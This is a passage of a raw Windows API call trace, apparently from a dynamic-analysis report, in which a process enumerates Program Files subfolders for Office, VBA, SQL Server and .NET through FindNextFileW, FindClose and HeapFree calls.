	[0088.326] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd68243, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xefd68243, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="3082", cAlternateFileName="")) returned 0
	[0088.326] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0088.327] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.328] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26f8376, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x28577965, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x28577965, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="OFFICE16", cAlternateFileName="")) returned 1
	[0088.389] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.389] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf63ed72c, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf63ed72c, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf6a7bf80, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x48c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="api-ms-win-core-file-l1-2-0.dll", cAlternateFileName="APDEA0~1.DLL")) returned 1
	[0088.392] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.392] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2d86b0f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2d86b0f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2d86b0f, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="en-us", cAlternateFileName="")) returned 1
	[0088.393] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.393] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x453c2a7, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x453c2a7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x285ea0a0, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x43cea0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="mfc140u.dll", cAlternateFileName="")) returned 1
	[0088.394] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.394] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd8e49f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xefd8e49f, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Portal", cAlternateFileName="")) returned 1
	[0088.394] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.394] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x6aef645, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6aef645, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6aef645, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x250c0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="PortalConnectCore.dll", cAlternateFileName="PORTAL~1.DLL")) returned 1
	[0088.394] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.394] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6224b6a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VBA", cAlternateFileName="")) returned 1
	[0088.434] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.434] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 1
	[0088.441] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0088.441] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0
	[0088.441] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0088.441] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.442] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc968bf4, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xc968bf4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xc968bf4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="VBA7.1", cAlternateFileName="")) returned 0
	[0088.443] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0088.443] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.443] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 1
	[0088.449] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.449] FindNextFileW (in: hFindFile=0x31211d0, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd7bf89, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd7bf89, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="BIN", cAlternateFileName="")) returned 0
	[0088.449] FindClose (in: hFindFile=0x31211d0 | out: hFindFile=0x31211d0) returned 1
	[0088.449] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0088.449] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x2e0000, cFileName="16", cAlternateFileName="")) returned 0
	[0088.449] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0088.450] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.451] FindNextFileW (in: hFindFile=0x3121310, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1c1a793, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1c1a793, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Web Server Extensions", cAlternateFileName="WEBSER~1")) returned 0
	[0088.451] FindClose (in: hFindFile=0x3121310 | out: hFindFile=0x3121310) returned 1
	[0088.451] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0088.451] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 1
	[0088.456] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.456] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf7b78b8d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ole db", cAlternateFileName="OLEDB~1")) returned 0
	[0088.457] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0088.457] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0088.457] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf21ea38b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf21ea38b, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf21ea38b, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="System", cAlternateFileName="")) returned 0
	[0088.457] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0088.457] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0088.459] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX64", cAlternateFileName="PROGRA~1")) returned 1
	[0088.474] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0088.475] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf0df27d3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2a7e39eb, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17beb0, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0088.476] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0088.476] FindNextFileW (in: hFindFile=0x3121050, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee308135, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee45f66d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0088.476] FindClose (in: hFindFile=0x3121050 | out: hFindFile=0x3121050) returned 1
	[0088.476] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.476] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa4733b6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa4733b6, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa50bd2e, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x1b050, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0088.477] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0088.478] FindNextFileW (in: hFindFile=0x3121250, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2ae4bf10, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2ae4bf10, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0088.478] FindClose (in: hFindFile=0x3121250 | out: hFindFile=0x3121250) returned 1
	[0088.478] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.479] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeb142e44, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb142e44, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xeb142e44, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AS OLEDB", cAlternateFileName="ASOLED~1")) returned 0
	[0088.479] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0088.479] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.479] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e11c27d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e11c27d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e11c27d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft Office", cAlternateFileName="MICROS~3")) returned 1
	[0088.480] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.480] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft SQL Server", cAlternateFileName="MICROS~2")) returned 1
	[0088.481] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0088.481] FindNextFileW (in: hFindFile=0x31218d0, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Shared", cAlternateFileName="")) returned 0
	[0088.481] FindClose (in: hFindFile=0x31218d0 | out: hFindFile=0x31218d0) returned 1
	[0088.482] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
	[0088.482] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfc53b9f9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfc53b9f9, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfc53b9f9, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="110", cAlternateFileName="")) returned 0
	[0088.482] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0088.482] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.483] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 1
	[0088.486] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e03998 | out: hHeap=0x500000) returned 1
	[0088.486] FindNextFileW (in: hFindFile=0x3121890, lpFindFileData=0x2e8eb94 | out: lpFindFileData=0x2e8eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="110", cAlternateFileName="")) returned 0
	[0088.486] FindClose (in: hFindFile=0x3121890 | out: hFindFile=0x3121890) returned 1
	[0088.489] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3df3990 | out: hHeap=0x500000) returned 1
	[0088.489] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8ee10 | out: lpFindFileData=0x2e8ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADOMD.NET", cAlternateFileName="")) returned 0
	[0088.489] FindClose (in: hFindFile=0x3121450 | out: hFindFile=0x3121450) returned 1
	[0088.489] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3de3988 | out: hHeap=0x500000) returned 1
	[0088.490] FindNextFileW (in: hFindFile=0x3121710, lpFindFileData=0x2e8f08c | out: lpFindFileData=0x2e8f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a046b0, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1a046b0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1a046b0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.NET", cAlternateFileName="MICROS~1.NET")) returned 0
	[0088.490] FindClose (in: hFindFile=0x3121710 | out: hFindFile=0x3121710) returned 1
	[0088.490] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3dc3978 | out: hHeap=0x500000) returned 1
	[0088.737] FindNextFileW (in: hFindFile=0x31216d0, lpFindFileData=0x2e8f308 | out: lpFindFileData=0x2e8f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x17c93f4, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x17c93f4, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="ProgramFilesX86", cAlternateFileName="PROGRA~2")) returned 1
	[0089.594] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0089.594] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xfa937f07, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x2b015b1d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2b0d4700, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x128848, dwReserved0=0x0, dwReserved1=0x0, cFileName="dbghelp.dll", cAlternateFileName="")) returned 1
	[0089.594] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e649c8 | out: hHeap=0x500000) returned 1
	[0089.594] FindNextFileW (in: hFindFile=0x3121850, lpFindFileData=0x2e8e69c | out: lpFindFileData=0x2e8e69c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf3143659, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf61fd8b4, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="1033", cAlternateFileName="")) returned 0
	[0089.594] FindClose (in: hFindFile=0x3121850 | out: hFindFile=0x3121850) returned 1
	[0089.594] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e549c0 | out: hHeap=0x500000) returned 1
	[0089.594] FindNextFileW (in: hFindFile=0x3121450, lpFindFileData=0x2e8e918 | out: lpFindFileData=0x2e8e918*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x5e91324, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5e91324, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5eb74f1, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x17a50, dwReserved0=0x0, dwReserved1=0x0, cFileName="SQLDumper.exe", cAlternateFileName="SQLDUM~1.EXE")) returned 1
	[0089.595] HeapFree (in: hHeap=0x500000, dwFlags=0x0, lpMem=0x3e449b8 | out: hHeap=0x500000) returned 1
